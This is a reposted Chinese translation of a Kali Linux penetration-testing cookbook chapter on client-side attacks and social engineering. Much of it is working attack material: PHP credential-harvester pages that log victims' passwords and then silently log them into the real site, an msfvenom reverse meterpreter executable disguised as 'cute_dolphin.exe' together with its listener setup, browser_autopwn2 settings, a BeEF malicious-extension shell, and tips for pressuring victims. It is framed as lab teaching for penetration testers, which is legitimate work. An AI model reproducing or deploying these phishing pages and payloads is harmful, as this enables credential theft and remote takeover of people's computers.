渗透我用 LinuxLinux学习之路

第九章 客户端攻击和社会工程

2017-01-16  本文已影响1313人  三月行者

作者:Gilberto Najera-Gutierrez
译者:飞龙
协议:CC BY-NC-SA 4.0

简介

我们目前所见的大部分技巧都尝试利用服务端的漏洞或设计缺陷,并访问它来从数据库中提取信息。有另外一种攻击,使用服务器来利用用户软件上的漏洞,或者尝试欺骗用户来做一些他们通常情况下不会做的事情,以便获得用户拥有的信息。这些攻击就叫做客户端攻击。

这一章中,我们会复查一些由攻击者使用,用于从客户端获得信息的技巧,通过社会工程、欺骗或利用软件漏洞。

虽然它并不和 Web 应用渗透测试特定相关,我们会涉及它们,因为大多数都是基于 web 的,并且都是非常常见的场景,其中我们在攻击客户端时,能够访问应用和服务器。所以,了解攻击者如何执行这类攻击,对于渗透测试者来说非常重要。

9.1 使用 SET 创建密码收集器

社会工程攻击可能被认为是客户端攻击的特殊形式。在这种攻击中,攻击者需要说服用户,相信攻击者是可信任的副本,并且有权接收用户拥有的一些信息。

SET 或社会工程工具包(https://www.trustedsec.com/social-engineertoolkit/)是一套工具,为执行针对人性的攻击而设计。这类攻击,包括网络钓鱼、邮件群发、SMS、伪造无线接入点、恶意网站、感染性媒体,以及其它。

这个秘籍中,我们会使用 SET 来创建密码收集器网页,并看看它如何工作,以及攻击者如何使用它来盗取用户密码。

操作步骤

1  setoolkit
1  cd /var/www/html
1  cat harvester_2015-11-22 23:16:24.182192.txt

这就结束了,我们仅仅需要将连接发送给我们的目标,并让他们访问我们的伪造登录页面,来收集它们的密码。

工作原理

SET 在克隆站点的时候会创建三个文件:首先是index.html,这是原始页面的副本,并包含登录表单。如果我们查看 SET 在我们的 Kali 中的/var/www/html创建的index.html的代码,我们会发现下面的代码:

1  <form action="http://192.168.56.1/post.php" method=post> 
2  <br> 
3  Username: <input type=text name=username><br> 
4  Password: <input type=password name=password><br> 
5  <br><input type=submit value=Login><br> 
6  </form>

这里我们可以看到用户名和密码都发给了 192.168.56.1 (我们的 Kali 主机)的post.php,这是 SET 创建的第二个文件。这个文件所做的所有事情就是读取 POST 请求的内容并将它们写入harvester_{date and time}.txt
文件。 SET 所创建的第三个文件储存由用户提交的信息。在向文件中写入数据之后,<meta>标签重定向到原始的登录页面,所以用户会认为他们输入了一些不正确的用户名或密码:

1  <?php 
2  $file = 'harvester_2015-11-22 23:16:24.182192.txt'; 
3  file_put_contents($file, print_r($_POST, true), FILE_APPEND); 
4  ?> 
5  <meta http-equiv="refresh" content="0;
6  url=http://192.168.56.102/peruggia/index.php?action=login" 
7  />

9.2 使用之前保存的页面来创建钓鱼网站

在之前的秘籍中,我们使用了 SET 来复制网站并使用它来收集密码。哟时候,仅仅复制登录页面不会对高级用户生效,在正确输入密码并再次重定向登录页面时,它们可能会产生怀疑,或者会试着浏览页面中的其它链接。我们这样就会失去它们,因为它们会离开我们的页面而来到原始站点。

这个秘籍中,我们会使用我们在第三章“为 Wget 离线分析下载页面”秘籍中复制的页面,来构建更加详细的钓鱼网站,因为它几乎含有所有导航,并且会在捕获证书之后登陆原始站点。

准备

我们需要保存 Web 页面,遵循第三章“为 Wget 离线分析下载页面”秘籍。简单来说,可以通过下列命令来完成:

1  wget -r -P bodgeit_offline/ http://192.168.56.102/bodgeit/ 

之后,离线页面会储存在bodgeit_offline目录中。

操作步骤

1  cp -r bodgeit_offline/192.168.56.102/bodgeit /var/www/html/ 
1  service apache2 start 
1  <h3>Login</h3> 
2  Please enter your credentials: <br/><br/> 
3  <form method="POST">
1  <form method="POST" action="post.php">
1   <?php 
2   $file = 'passwords_C00kb00k.txt'; 
3   file_put_contents($file, print_r($_POST, true), FILE_APPEND); 
4   $username=$_POST["username"]; 
5   $password=$_POST["password"]; 
6   $submit="Login"; ?> 
7   <body onload="frm1.submit.click()"> 
8   <form name="frm1" id="frm1" method="POST" 
9   action="http://192.168.56.102/bodgeit/login.jsp"> 
10  <input type="hidden" value="<?php echo $username;?>" name ="username"> 
11  <input type="hidden" value="<?php echo $password;?>" name ="password"> 
12  <input type="submit" value="<?php echo $submit;?>" name ="submit"> 
13  </form> 
14  </body>
1  touch passwords_C00kb00k.txt chown 
2  www-data passwords_C00kb00k.txt

要记住 Web 服务器运行在 www-data 用户下,所以我们需要使这个用户为文件的所有者,便于它可被 web 服务器进程写入。

1  cat passwords_C00kb00k.txt

并且,我们得到它了。我们捕获了用户的密码,将它们重定向到正常页面并执行了登录。

工作原理

这个秘籍中,我们使用了站点副本来创建密码收集器,并使它更加可信,我们是脚本执行原始站点的登录。

在前三步中,我们简单设置了 Web 服务器和它要展示的文件。下面,我们创建了密码收集器脚本post.php:前两行和之前的秘籍相同,它接受所有 POST 参数并保存到文件中。

1  $file = 'passwords_C00kb00k.txt'; 
2  file_put_contents($file, print_r($_POST, true), FILE_APPEND);

之后我们将每个参数储存到变量中:

1  $username=$_POST["username"]; 
2  $password=$_POST["password"]; 
3  $submit="Login";

因为我们的登录不打算依赖于用户发送的正确值,我们设置$submit="Login"。下面,我们创建了 HTML 主题,它包含一个表单,在页面加载完毕后会自动发送usernamepasswordsubmit值到原始站点。

1  <body onload="frm1.submit.click()"> 
2  <form name="frm1" id="frm1" method="POST" 
3  action="http://192.168.56.102/bodgeit/login.jsp"> 
4  <input type="hidden" value="<?php echo $username;?>" name ="username"> 
5  <input type="hidden" value="<?php echo $password;?>" name ="password"> 
6  <input type="submit" value="<?php echo $submit;?>" name ="submit"> 
7  </form> 
8  </body>

要注意,body中的onload事件并不调用frm1.submit()而是frm1.submit. click()。这是因为当我们使用submit作为表单元素的名称时,表单中的submit()函数会被这个元素覆盖掉(这里是提交按钮)。我们并不打算修改按钮名称,因为它是原始站点需要的名称。所以我们使submit变成一个按钮,而不是隐藏字段,并使用它的click函数将值提交到原始站点。我们同时将表单中的字段值设置为我们之前用于储存用户数据的变量值。

9.3 使用 Metasploit 创建反向 shell 并捕获连接

当我们执行客户端攻击的时候,我们能够欺骗用户来执行程序,并使这些程序连接回控制端。

这个秘籍中,我们会了解如何使用 Metasploit 的 msfvenom 来创建可执行程序(反向 meterpreter shell),它会在执行时连接我们的 Kali 主机,并向我们提供用户计算机的控制。

操作步骤

1  msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4443 -f exe > cute_dolphin.exe

这会创建名为cute_dolphin.exe的文件,这是反向 meterpreter shell,反向意味着它会连接回我们,而不是监听我们的连接。

1  use exploit/multi/handler 
2  set payload windows/meterpreter/reverse_tcp 
3  set lhost 192.168.56.1 set lport 4443 
4  set ExitOnSession false 
5  set AutorunScript post/windows/manage/smart_migrate 
6  exploit -j -z 

就像你看到的那样,LHOST 和 RPORT 是我们用于创建exe文件的东西。这是程序将要连接的 IP 地址和 TCP 端口。所以我们需要在这个 Kali 的网络接口和端口上监听。

1  service apache2 start
1  cp cute_dolphin.exe /var/www/html/
1  sessions
1  sessions -i 1 
1  sysinfo
1  shell

工作原理

Msfvenom 帮助的我们从 Metasploit 大量列表中创建载荷,并且将它们集成到许多语言的源代码中,或者创建脚本和可执行文件。就像我们在这个秘籍所做的那样。我们这里所使用的参数是所使用的载荷(windows/ meterpreter/reverse_tcp)、连接回来所需的主机和端口(LHOST 和 RPORT),以及输出格式(-f exe)。将标准输出重定向到文件来将它保存为cute_dolphin.exe

Metasploit 的 exploit/multi/handler 是个载荷处理器,这里我们将其用于监听连接。在连接建立之后,它执行了 meterpreter 载荷。

Meterpreter 是增强型的 Metasploit shell。它包含用于嗅探受害者网络,用于将其作为入口来访问本地网络,或者用于执行权限提升和密码提取的模块,以及其它渗透测试中的实用工具。

9.4 使用 Metasploit 的 browser_autpwn2 攻击客户端

Metasploit 框架包含客户端利用的庞大集合,许多都为利用浏览器中的已知漏洞而设计。其中有一个模块能够检测客户端所使用的浏览器版本,并挑选最好的利用工具来触发漏洞。这个模块是 browser_autpwn 和 browser_autpwn2,后者是最新版本。

在这个秘籍中,我们会使用 browser_autpwn2 执行攻击,并将其配置好来让目标访问。

操作步骤

1  use auxiliary/server/browser_autopwn2
1  show options
1  set SRVHOST 192.168.56.1
1  set URIPATH /kittens
1  set EXCLUDE_PATTERN android|adobe_flash
1  set ShowExploitList true 
2  set VERBOSE true

高级选项也允许我们为每个平台(Windows、Unix 和 Android)选择载荷和它的参数,例如 LHOST 和 RPORT。

1  run

如果我们打算触发特定的利用,我们可以在服务器的 URL 后面使用Path
值。例如,如果我们打算触发firefox_svg_plugin,我们将http://192.168.56.1/PWrmfJApkwWsf发送给受害者,路径在每次模块运行时会随机生成。

工作原理

Browser Autopwn 会建立带有主页的 Web 服务器,并使用 JavaScript 来识别客户端运行了什么软件,并基于它选择合适的利用来尝试。

这个秘籍中,我们设置了 Kali 主机,使其为kittens目录的请求监听 8080 端口。我们所配置的其它请求是:

之后,我们只需要运行模块并使一些用户访问我们的/kittens站点。

9.5 使用 BeEF 攻击

在之前的章节中,我们看到了 BeEF(浏览器利用框架)能够做什么。这个秘籍中,我们会使用它来发送而已浏览器扩展,当它执行时,会向我们提供绑定到系统的远程 shell。

准备

我们需要为这个秘籍在 Windows 客户端安装 Firefox。

操作步骤

开启 BeEF 服务。在 root 终端下,输入下列命令:

1  cd /usr/share/beef-xss/ 
2  ./beef
1  nc 192.168.56.102 1337

现在我们就连接到了客户端并能够在里面执行命令。

工作原理

一旦客户端被 BeEF 勾住,它就会像浏览器发送请求(通过hook.js
)来下载扩展。一旦下载完成,就取决于用户是否安装。

像之前所说的那样,这个攻击高度依赖用户来完成关键步骤,这取决于我们通过社会工程手段说服用户,使之相信必须安装扩展。这可以通过页面上的文本来完成,比如说解锁一些浏览器的实用功能非常必要。

在用户安装扩展之后,我们只需要使用 Netcat 来连接端口 1337,并开始执行命令。

9.6 诱使用户访问我们的仿造站点

每次社会工程攻击的成功依赖于攻击者说服用户的能力,以及用户遵循攻击者指令的意愿。这个秘籍是一系列攻击者所使用的情景和技巧,用于利用它们的优势使用户更加信任并抓住它们。

这一节中,我们会看到一些在前面那些安全评估中能够生效的攻击。它们针对拥有一定等级的安全意识,并且不会陷入“银行账户更新”骗局的用户。

工作原理

让一个人打开来自完全陌生的人的邮件,阅读它,并点击它包含的链接,以及提供页面上的所需信息,在尼日利亚王子诈骗横行的今天,可能是一件非常困难的事情。成功社会工程攻击的关键是创造一种感觉,让受害者觉得攻击者在为它做一些好事或必要的事情,也要创造一种急迫感,即用户必须快速回复否则会丢失重要的机会。

更多

客户端攻击也可以用于被入侵服务器上的提权。如果你获得了服务器的访问,但是没有继续行动的空间,你可能需要在你的攻击主机上开启而已服务器,并在目标上浏览它。所以你可以利用其它类型的漏洞,并执行特权命令。


版权声明:本文转载自wizardforcel的专栏,如有侵权,请与本人联系。
专栏链接:http://blog.csdn.net/wizardforcel

原文链接:http://blog.csdn.net/wizardforcel/article/details/52805448

上一篇下一篇

猜你喜欢

热点阅读